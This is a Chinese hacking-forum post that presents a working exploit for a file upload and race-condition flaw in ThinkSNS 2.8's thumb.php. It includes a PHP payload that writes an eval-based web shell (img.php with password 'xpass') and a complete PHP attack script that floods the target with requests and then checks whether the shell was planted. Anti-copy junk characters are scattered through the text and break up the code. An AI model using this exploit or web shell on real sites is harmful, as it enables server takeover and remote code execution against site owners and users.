找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1896|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
: i5 b/ l4 m6 V' B8 I: h0 D6 |存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 B$ g' l4 ~- e1 I0 n3 @
漏洞文件5 @+ a6 M& K* C) E
存在漏洞的文件为:thumb.php3 F% @; x8 _4 n9 m* _
作者:韦鲲鹏
7 J5 X) u6 V. d4 f) X  L% _1、        准备如下PHP文件并上传到服务器(自己的)。- r6 A0 V) t' a' Q  i; Z! Q, }
文件内容如下:
1 b; ?5 U% p% j, S<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 p: \: C0 b  }: W* @$ N; m* s$ K2、        计算出临时的文件名:
! N+ V* |, |: Z) Q: ^这里我们可以看文件的99行(刚刚是不是没注意呀!)。
! a; |# i8 Z8 H7 |( Z1 c" r# Y' S6 Y- ?& C( t$ B% y" x+ A
3、        上传临时文件。) q/ n5 k! M7 K4 e7 ?: e% F" F- ^
4、        访问临时文件。
/ z, s8 y3 q1 B9 B5 I4 N$ p但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
' }; T! z$ z: X1 K$ fExploit文件内容如下:(这个我就不详细解释了)
. j- I2 z7 @3 l1 C<?php
; Z$ D5 E  P7 O+ }" terror_reporting(0);
; b. B0 L$ a0 S$ Z/ gset_time_limit(0);
# m2 _" F/ `; fini_set(“default_socket_timeout”, 5);
6 V9 e- v' h  e6 v% Efunction http_send($host, $port, $headers) {
/ i5 C3 ^* C, t* j# P/ e" Z) l$fp = fsockopen($host, $port);  ^% C0 {  B- P* I
if (!$fp) die(‘Connection -> fail’);2 e) M9 m6 J! }0 D" W' R& {
fputs($fp, $headers);& R* d! W: |" E) e1 V
return $fp;, @' o3 B8 l  K# u$ D
}
% F" z9 p, {, g: ^0 G+ rfunction http_recv($fp) {4 V+ p( _6 A& N( b
$ret=”";
1 B$ L6 R2 n9 Y: E/ w' Rwhile (!feof($fp))5 r! S) {# z2 A4 I8 R
$ret.= fgets($fp, 1024);
% L1 S' |) i: |) ^: Y; y! Q3 _  yfclose($fp);/ [/ j( N8 v# w: ?, d
return $ret;+ a! x* m  A2 s  i7 U/ _5 Z& x
}8 U4 E9 Z$ O+ \1 R6 ?. U
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
7 r( ~, ]; X- T& f! \print “# Discovered by 韦鲲鹏 #\n\n”;
; x! o$ r! \  v! [% @! f: Fif ($argc < 4) {
; _' \) L- X) ]0 O1 }7 Q( I' kprint “Usage:   php <host> <path> <romote_url>\n”;
" D" {3 B6 p  O! T, Q- S2 Gprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;, c# x- |' E6 C9 ^' A/ q; f
die();* o) ?% C" U/ @1 l) \9 m
}
; C) H1 r/ E  v9 h$host = $argv[1];
7 n, m; `4 H% F* y3 G$path = $argv[2];
  a% n  V7 {9 y3 v- a& e$url = $argv[3];( Z$ w9 i' G, k8 {7 y
$i=0;1 j# Q$ ^9 u/ [
//上传数据包1 |/ s  [+ A2 c
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;7 Y7 J4 T& @$ r0 v$ ]7 G
$headers_up .= “Host: “.$host.”\r\n”;6 g# p' Q$ B7 M  w! `
$headers_up .= “Connection: close\r\n\r\n”;* U; y0 a. N( I
echo $headers_up;' \. L  {4 W& q* C: N5 C
//临时文件访问数据包) ?$ T) C: L8 n+ b4 p
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" i6 _4 N3 S3 q' }/ R
$headers .= “Host: “.$host.”\r\n”;; a8 @9 d* K+ {  Y5 E
$headers .= “Connection: close\r\n\r\n”;
/ i/ ?1 m. V+ B3 g7 \echo $headers;! d. w; Y3 {/ U& o5 |
while(++$i<10) {
( C* j9 T$ c. K# b  b% Z8 `! tfclose(http_send($host, 80, $headers));5 A6 E% Q/ D- ]6 K' J5 j6 r
}
6 Y: h+ G8 S% [# w' ~  ofclose(http_send($host, 80, $headers_up));$ s1 A  A5 U2 r  [3 |1 ]# f
while(++$i<50) {
" X+ i. V9 `* ?$ e2 yfclose(http_send($host, 80, $headers));. o" D4 ]1 B5 T+ ]: F. n
}% H5 X# F' c9 t1 x
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;9 R) c, q3 ]6 z6 [' o0 a
$headers .= “Host: “.$host.”\r\n”;
  c# ^8 S% _' x+ q' ?7 B# ~$headers .= “Connection: close\r\n\r\n”;% P+ Q9 @* k0 t+ L% q& ~1 t
$res=http_recv(http_send($host, 80, $headers));
  i6 d' N2 ?' U$ ~7 @if(preg_match(‘/200 OK/’,$res)) {
# h' K% b  k% {6 W( q% Pprint “Success!\n\n”;
4 z9 H8 p7 i& N5 h8 Z3 U} else {  Y- Q- u% m+ W+ H8 x% @( m, H2 F
print “Fail!\n\n”;
  |' D8 c5 }$ K3 Z}
8 A! N3 P% p6 v- S+ E$ \) X?>5 U  {) q6 }/ e% Q3 l& H8 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表